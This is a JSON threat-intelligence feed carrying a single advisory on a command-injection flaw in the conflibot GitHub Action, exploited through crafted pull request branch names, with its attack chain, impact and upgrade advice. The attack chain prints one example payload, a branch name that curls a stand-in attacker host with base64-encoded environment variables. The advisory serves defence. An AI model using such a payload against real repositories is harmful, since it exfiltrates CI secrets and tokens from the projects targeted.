{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/conflibot/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["conflibot"],"_cs_severities":["critical"],"_cs_tags":[],"_cs_type":"advisory","_cs_vendors":["wktk"],"content_html":"\u003cp\u003econflibot is a GitHub Action designed to manage and synchronize configuration files. A critical vulnerability (CVE-2026-55158) exists in versions prior to 1.2.1 where git commands are constructed using string interpolation and executed via a shell. Because the action accepts pull request branch names as inputs, an attacker can create a pull request with a maliciously crafted branch name containing shell metacharacters such as backticks, dollar signs, or semicolons.\u003c/p\u003e\n\u003cp\u003eWhen configured with the \u003ccode\u003epull_request_target\u003c/code\u003e event, the GitHub Actions runner executes this malicious code with the base repository's context. This grants the attacker access to repository secrets and a write-scoped \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e. Exploitation requires no maintainer interaction and can be performed by any user capable of opening a pull request, including from a fork. This vulnerability allows for immediate secret exfiltration, unauthorized commits to the repository, or lateral movement within the CI/CD pipeline.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a target repository utilizing \u003ccode\u003ewktk/conflibot\u003c/code\u003e versions prior to 1.2.1 in a workflow triggered by \u003ccode\u003epull_request_target\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAttacker creates a fork of the target repository.\u003c/li\u003e\n\u003cli\u003eAttacker creates a new branch in the fork with a name containing shell injection payloads (e.g., \u003ccode\u003e$(curl attacker.com/$(env | base64))\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAttacker opens a pull request from the malicious branch to the target repository.\u003c/li\u003e\n\u003cli\u003eThe target repository's CI workflow is triggered by the \u003ccode\u003epull_request_target\u003c/code\u003e event.\u003c/li\u003e\n\u003cli\u003econflibot invokes the vulnerable shell command, interpolating the malicious branch name into the command string.\u003c/li\u003e\n\u003cli\u003eThe runner executes the injected command with the privileges of the repository's \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAttacker captures exfiltrated secrets or uses the write token to modify the repository source code.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows unauthenticated attackers to execute arbitrary commands on GitHub-hosted runners. This results in the compromise of repository secrets, exposure of environment variables, and the ability to push malicious code to the base repository. Given the nature of \u003ccode\u003epull_request_target\u003c/code\u003e workflows, this impacts any organization using conflibot to automate repository management, potentially affecting thousands of projects.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade \u003ccode\u003ewktk/conflibot\u003c/code\u003e to version 1.2.1 or 2.0.0 immediately.\u003c/li\u003e\n\u003cli\u003eReview workflows currently using \u003ccode\u003epull_request_target\u003c/code\u003e for any usage of \u003ccode\u003ewktk/conflibot\u003c/code\u003e to assess potential prior secret compromise.\u003c/li\u003e\n\u003cli\u003eRotate all repository secrets and personal access tokens that were accessible to the compromised workflow if the repository has been targeted.\u003c/li\u003e\n\u003cli\u003eIf immediate patching is not possible, disable the affected workflow entirely until the upgrade can be performed.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-08-17T18:46:12Z","date_published":"2026-08-17T18:46:12Z","id":"https://feed.craftedsignal.io/briefs/2026-08-conflibot-command-injection/","summary":"The conflibot GitHub Action (versions \u003c 1.2.1) is vulnerable to command injection via attacker-controlled pull request branch names, leading to secret exfiltration when executed via pull_request_target.","title":"Command Injection in conflibot via Crafted Git Branch Names","url":"https://feed.craftedsignal.io/briefs/2026-08-conflibot-command-injection/"}],"language":"en","title":"CraftedSignal Threat Feed - Conflibot","version":"https://jsonfeed.org/version/1.1"}